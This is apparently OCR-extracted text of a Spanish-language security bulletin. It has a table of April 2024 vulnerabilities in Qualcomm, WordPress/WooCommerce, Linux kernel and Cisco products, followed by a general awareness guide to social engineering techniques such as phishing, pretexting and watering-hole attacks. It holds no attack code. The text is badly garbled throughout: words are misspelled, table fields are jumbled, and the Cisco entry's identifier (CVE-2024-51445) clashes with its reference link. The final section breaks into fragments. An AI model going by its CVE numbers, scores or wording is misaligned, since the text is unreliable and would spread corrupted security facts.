solicitudes especialmente disefiadas para bloquear el servicio, provocando asi un ataque DoS. En

determinadas condiciones, esto puede conducir a la ejecucidn de cddigo arbitrario.

www.adv-ic.com/boletin
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g Fechade ,
Identificador publicacién Titulo CVSS v3.x Referencias
Fallas CVSS bttps://nvd.nist.g
CVE-2024- 01/04/2024 de seguridad en v3.1: ov/vuln/detail/CV
21473 9.8 E-2024-21473
productos Qualcom N -
[Critico]

Descripcion: Corrupcién de la memoria al redirigir el archivo de registro a cualquier ubicacién de archivo con

cualquier nombre de archivo.

g Fechade ,
Identificador publicacién Titulo CVSS v3.x Referencias
CVSS
CVE-2024 Fallas Va1 https://nvd.nist.g
4185 30/04/2024 de seguridad en g '1' ov/vuln/detail/CV
productos WordPress ’ E-2024-4185
[Alto]

Descripcion: El complemento Customer Email Verification para WooCommerce para WordPress es vulnerable
a la verificacién de correo electrénico y a la omisién de autenticacion en todas las versiones hasta la 2.7.4
inclusive mediante el uso de un cédigo de activacidn insuficientemente aleatorio. Esto hace posible que los
atacantes no autenticados omitan la verificacion por correo electrénico, y si estan marcadas las opciones
"Iniciar sesion con el usuario automaticamente después de verificar la cuenta" y "Verificar cuenta para los
usuarios actuales", entonces potencialmente hace posible que los atacantes eludan autenticacién para otros

usuarios.

www.adv-ic.com/boletin



https://nvd.nist.gov/vuln/detail/CVE-2024-21413
https://nvd.nist.gov/vuln/detail/CVE-2024-21413
https://nvd.nist.gov/vuln/detail/CVE-2024-21413
https://nvd.nist.gov/vuln/detail/CVE-2023-5155
https://nvd.nist.gov/vuln/detail/CVE-2024-20720

TABLA DE VULNERABILIDADES RELEVANTES: ABRIL 2024

CADV

g Fechade ,
Identificador publicacién Titulo CVSS v3.x Referencias
CVE-2022 Fallas C;/Sls bttps://nvd.nist.g
- - v3.1:
48655 28/04/2024 de seguridad en - ov/vuln/detail/CV
productos Linux [Al'to] E-2022-48655

Descripcion: En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: firmware: arm_scmi: Refuerza
los accesos a los dominios de reinicio. El acceso a los descriptores de dominios de reinicio por el indice ante
las solicitudes de los controladores SCMI a través de la interfaz de operaciones de reinicio de SCMI puede
conducir potencialmente a violaciones fuera de limites. si el controlador SCMI se comporta mal. Agregue una

verificacién de coherencia interna antes de que se acceda a dichos descriptores de dominio.

Fechade

Identificador . ., Titulo CVSS v3.x Referencias
publicacion
CVSS
Fallas https://nvd.nist.g
CVE-2024- . v3.1: .
51445 24/04/2024 de seguridad en 8.6 ov/vuln/detail/CV
productos Cisco ’ E-2024-20353
[Alto]

Descripcion: Una vulnerabilidad en los servidores web de administracién y VPN para el software Cisco
Adaptive Security Appliance (ASA) y el software Cisco Firepower Threat Defense (FTD) podria permitir que un
atacante remoto no autenticado provoque que el dispositivo se recargue inesperadamente, lo que resultaria
en una denegacion de servicio (DoS). ) condicidn. Esta vulnerabilidad se debe a una comprobacion de errores
incompleta al analizar un encabezado HTTP. Un atacante podria aprovechar esta vulnerabilidad enviando
una solicitud HTTP disefiada a un servidor web especifico en un dispositivo. Un exploit exitoso podria permitir

al atacante provocar una condicion DoS cuando el dispositivo se recarga.
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INGENIERIA SOCIAL QADV

La ingenieria social es una técnica de manipulacién que aprovecha el error humano para obtener informacién
privada, acceso a sistemas u objetos de valor. Los ataques pueden ocurrir en linea, en persona y a través de otras
interacciones.

¢COMO Y POR QUE FUNCIONA LA INGENIERIA SOCIAL?

Manipulan las emociones e instintos de las victimas de formas que se ha demostrado que llevan a las personas a
tomar medidas que no son las mas convenientes para sus intereses.

La mayoria de los ataques de ingenieria social emplean una o mas de las siguientes tacticas:

* Hacerse pasar por una marca de confianza
¢ Hacerse pasar por una agencia gubernamental o una figura de autoridad
¢ Inducir miedo o sensacién de urgencia

¢ Apelando a la codicia
e Apelar alaamabilidad la curiosidad

TIPOS DE ATAQUES DE INGENIERIA SOCIAL
PHISHING

Los ataques de phishing son mensajes digitales o de voz que
intentan manipular a los destinatarios para compartir
informacién confidencial, descargar software malicioso, transferir
dinero o activos a personas equivocadas o tomar otras medidas
perjudiciales. Los estafadores elaboran mensajes de phishing
para que parezcan o suenen como si procedieran de una
organizacion o persona de confianza o creible, a veces incluso una
persona que el destinatario conoce personalmente.

Hay muchos tipos de fraude por phishing:

 Los correos electrénicos masivos de phishing

e Elspear phishing

e Lasuplantacién de identidad por voz, o vishing

e El phishing por SMS, o smishing

e Lasuplantacion de identidad en los motores de bisqueda

» Angler phishing es phishing a través de cuentas falsas de
redes sociales

www.adv-ic.com/boletin
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INGENIERIA SOCIAL

BAITING

El baiting atrae (sin doble sentido) a las victimas para
gue, consciente o inconscientemente, faciliten
informacién confidencial o descarguen cédigo
malicioso, tentandolas con una oferta valiosa o
incluso un objeto de valor.

TAILGATING

En el tailgating -también llamado "piggybacking"-
una persona no autorizada sigue de cerca a una
persona autorizada hasta un area que contiene
informacidn sensible o activos valiosos.

PRETEXTAR

Al pretextar, el actor de la amenaza crea una
situacion falsa para la victima y se hace pasar por la
persona adecuada para resolverla. Muy a menudo (e
ironicamente) el estafador afirma que la victima ha
sido afectada por una violacién de seguridad, y luego
ofrece arreglar cosas si la victima proporcionara
informacién importante de la cuenta o control sobre
el ordenador o dispositivo de la victima.

QUID PRO QUO (V‘ADV

En una estafa quid pro quo, los piratas informaticos
cuelgan un bien o servicio deseable a cambio de la
informacion confidencial de la victima. Ganar
concursos falsos o recompensas de fidelidad
aparentemente inocentes («gracias por su pago,
tenemos un regalo para usted») son ejemplos de
tacticas qui pro quo.

SCAREWARE

También considerado una forma de malware, el
scareware es un software que utiliza el miedo para
manipular a las personas para que compartan
informacién confidencial o descarguen malware. El
scareware suele adoptar la forma de un falso aviso
de las fuerzas de seguridad acusando al usuario de
un delito, o de un falso mensaje de soporte técnico
advirtiéndole de la presencia de malware en su
dispositivo.

ATAQUE DE ABREVADERO

Derivado de la frase "alguien envenend el
abrevadero": los piratas informaticos inyectan
igo malicioso en=un agina web legitima
s Ms. Los ataques de
ables de todo, desde el robo
descargas involuntarias de
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